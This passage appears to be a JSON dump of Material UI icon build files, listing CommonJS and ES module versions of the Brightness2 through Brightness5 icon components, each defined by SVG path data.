12c0-2.95-1.1-5.77-3.01-7.93C9.32 4.02 9.66 4 10 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07C10.9 17.77 12 14.95 12 12\"\n}, \"1\")], 'Brightness2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 12c0-4.41-3.59-8-8-8-.34 0-.68.02-1.01.07C10.9 6.23 12 9.05 12 12s-1.1 5.77-3.01 7.93c.33.05.67.07 1.01.07 4.41 0 8-3.59 8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20.65C6.47 21.5 8.18 22 10 22c5.52 0 10-4.48 10-10S15.52 2 10 2c-1.82 0-3.53.5-5 1.35C7.99 5.08 10 8.3 10 12s-2.01 6.92-5 8.65M12 12c0-2.95-1.1-5.77-3.01-7.93C9.32 4.02 9.66 4 10 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07C10.9 17.77 12 14.95 12 12\"\n}, \"1\")], 'Brightness2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.7 4.91C15.25 6.24 17 8.92 17 12s-1.75 5.76-4.3 7.09c1.46-2 2.3-4.46 2.3-7.09s-.84-5.09-2.3-7.09M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.7 4.91C15.25 6.24 17 8.92 17 12s-1.75 5.76-4.3 7.09c1.46-2 2.3-4.46 2.3-7.09s-.84-5.09-2.3-7.09M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.93 2h-.14c-.83.02-1.09 1.12-.39 1.56 2.78 1.77 4.63 4.89 4.63 8.44s-1.84 6.66-4.62 8.43c-.71.46-.43 1.55.41 1.57h.21c6.05 0 10.86-5.39 9.87-11.63-.76-4.84-5.07-8.42-9.97-8.37\"\n}), 'Brightness3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.93 2h-.14c-.83.02-1.09 1.12-.39 1.56 2.78 1.77 4.63 4.89 4.63 8.44s-1.84 6.66-4.62 8.43c-.71.46-.43 1.55.41 1.57h.21c6.05 0 10.86-5.39 9.87-11.63-.76-4.84-5.07-8.42-9.97-8.37\"\n}), 'Brightness3Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2\"\n}), 'Brightness3Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.7 4.91c1.46 2 2.3 4.46 2.3 7.09s-.84 5.09-2.3 7.09C15.25 17.76 17 15.08 17 12s-1.75-5.76-4.3-7.09\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2m3.7 17.09c1.46-2 2.3-4.46 2.3-7.09s-.84-5.09-2.3-7.09C15.25 6.24 17 8.92 17 12s-1.75 5.76-4.3 7.09\"\n}, \"1\")], 'Brightness3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness3TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.7 4.91c1.46 2 2.3 4.46 2.3 7.09s-.84 5.09-2.3 7.09C15.25 17.76 17 15.08 17 12s-1.75-5.76-4.3-7.09\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 2c-1.05 0-2.05.16-3 .46 4.06 1.27 7 5.06 7 9.54s-2.94 8.27-7 9.54c.95.3 1.95.46 3 .46 5.52 0 10-4.48 10-10S14.52 2 9 2m3.7 17.09c1.46-2 2.3-4.46 2.3-7.09s-.84-5.09-2.3-7.09C15.25 6.24 17 8.92 17 12s-1.75 5.76-4.3 7.09\"\n}, \"1\")], 'Brightness3TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness4');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12.29 7c-.74 0-1.45.17-2.08.46 1.72.79 2.92 2.53 2.92 4.54s-1.2 3.75-2.92 4.54c.63.29 1.34.46 2.08.46 2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'Brightness4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12.29 7c-.74 0-1.45.17-2.08.46 1.72.79 2.92 2.53 2.92 4.54s-1.2 3.75-2.92 4.54c.63.29 1.34.46 2.08.46 2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}), 'Brightness4Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.6 11.29 20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1v-3.69l2.6-2.6c.39-.39.39-1.03 0-1.42m-4.68 1.69c-.34 2.12-1.85 3.94-3.88 4.66-1.21.43-2.41.45-3.5.18-.41-.1-.48-.65-.13-.9C11.98 15.84 13 14.04 13 12s-1.02-3.84-2.58-4.92c-.35-.24-.29-.79.13-.9 1.09-.27 2.29-.25 3.5.18 2.02.72 3.54 2.54 3.88 4.66.05.33.07.66.07.98-.01.32-.03.65-.08.98\"\n}), 'Brightness4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.6 11.29 20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1v-3.69l2.6-2.6c.39-.39.39-1.03 0-1.42m-4.68 1.69c-.34 2.12-1.85 3.94-3.88 4.66-1.21.43-2.41.45-3.5.18-.41-.1-.48-.65-.13-.9C11.98 15.84 13 14.04 13 12s-1.02-3.84-2.58-4.92c-.35-.24-.29-.79.13-.9 1.09-.27 2.29-.25 3.5.18 2.02.72 3.54 2.54 3.88 4.66.05.33.07.66.07.98-.01.32-.03.65-.08.98\"\n}), 'Brightness4Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zM12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12s-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6c3.31 0 6 2.69 6 6s-2.69 6-6 6\"\n}), 'Brightness4Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12.29 17c-.74 0-1.45-.17-2.08-.46 1.72-.79 2.92-2.52 2.92-4.54s-1.2-3.75-2.92-4.54c.63-.29 1.34-.46 2.08-.46 2.76 0 5 2.24 5 5s-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12.29 7c-.74 0-1.45.17-2.08.46 1.72.79 2.92 2.53 2.92 4.54s-1.2 3.75-2.92 4.54c.63.29 1.34.46 2.08.46 2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}, \"1\")], 'Brightness4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness4TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zM12.29 17c-.74 0-1.45-.17-2.08-.46 1.72-.79 2.92-2.52 2.92-4.54s-1.2-3.75-2.92-4.54c.63-.29 1.34-.46 2.08-.46 2.76 0 5 2.24 5 5s-2.24 5-5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12.29 7c-.74 0-1.45.17-2.08.46 1.72.79 2.92 2.53 2.92 4.54s-1.2 3.75-2.92 4.54c.63.29 1.34.46 2.08.46 2.76 0 5-2.24 5-5s-2.24-5-5-5\"\n}, \"1\")], 'Brightness4TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'Brightness5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}), 'Brightness5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 15.31 2.6-2.6c.39-.39.39-1.02 0-1.41L20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 15.31 2.6-2.6c.39-.39.39-1.02 0-1.41L20 8.69V5c0-.55-.45-1-1-1h-3.69l-2.6-2.6a.996.996 0 0 0-1.41 0L8.69 4H5c-.55 0-1 .45-1 1v3.69l-2.6 2.6c-.39.39-.39 1.02 0 1.41L4 15.3V19c0 .55.45 1 1 1h3.69l2.6 2.6c.39.39 1.02.39 1.41 0l2.6-2.6H19c.55 0 1-.45 1-1zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.31 23.31 12 20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}), 'Brightness5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9.52V6h-3.52L12 3.52 9.52 6H6v3.52L3.52 12 6 14.48V18h3.52L12 20.48 14.48 18H18v-3.52L20.48 12zm-6 7.98c-3.03 0-5.5-2.47-5.5-5.5S8.97 6.5 12 6.5s5.5 2.47 5.5 5.5-2.47 5.5-5.5 5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8.69V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12zm-2 5.79V18h-3.52L12 20.48 9.52 18H6v-3.52L3.52 12 6 9.52V6h3.52L12 3.52 14.48 6H18v3.52L20.48 12zM12 6.5c-3.03 0-5.5 2.47-5.5 5.5s2.47 5.5 5.5 5.5 5.5-2.47 5.5-5.5-2.47-5.5-5.5-5.5m0 9c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5 3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5\"\n}, \"1\")], 'Brightness5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Brightness5TwoTone.mjs",
